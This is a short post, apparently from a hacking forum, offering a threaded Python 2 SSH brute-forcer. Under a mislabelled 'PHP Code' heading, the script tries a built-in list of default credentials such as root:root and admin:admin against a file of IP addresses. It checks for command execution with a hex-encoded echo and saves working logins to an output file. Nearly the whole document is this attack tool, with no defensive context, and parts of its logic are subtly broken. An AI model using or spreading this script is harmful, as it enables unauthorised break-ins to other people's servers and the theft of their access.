Python SSH Brute-Forcer - Threaded - Checks Execution

PHP Code


<?php 
import socket
import sys
import time
from multiprocessing import Process
import paramiko
 
if len(sys.argv) < 4:
        sys.exit("Example: python2 script.py <Input-File> <Output-File> <Threads>\n")
 
thread_cnt = int(sys.argv[3])
thread_tot = 0




read_h = open(str(sys.argv[1]),'a+')

def f(ip):
    things = "root:root,admin:admin,admin:12345,root:12345,root:password".split(",")
    for sets in things:
        bsets = sets.split(":")

        try:
            print "Trying: ", ip
            ssh.connect(ip, username=bsets[0],password=bsets[1], timeout=1)
        except Exception:
            print "Nope", ip
        else:
            try:
                (stdin, stdout, stderr) = ssh.exec_command("echo -e '\x62\x69\x6e\x66\x61\x67\x74'\n")
            except:
                print "No Exec\n"
                break
            else:
                myrep = stdout.readlines()
                if str(myrep) != "binfagt":
                    print "No Exec\n"
                    break
                else:
                    print 'Exec on ', ip
                    file_h = open(sys.argv[2],'a+')
                    file_h.write(ip + ":" + bsets[0] + ":" + bsets[1] + "\n")
                    file_h.close() 
                    break

        ssh.close()

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())



for line in read_h:
    myip = line.split("\n")
    p = Process(target=f, args=(myip[0],))
    p.start()
    thread_tot += 1
    if thread_tot > thread_cnt:
       p.join()
       thread_tot = 0
p.join()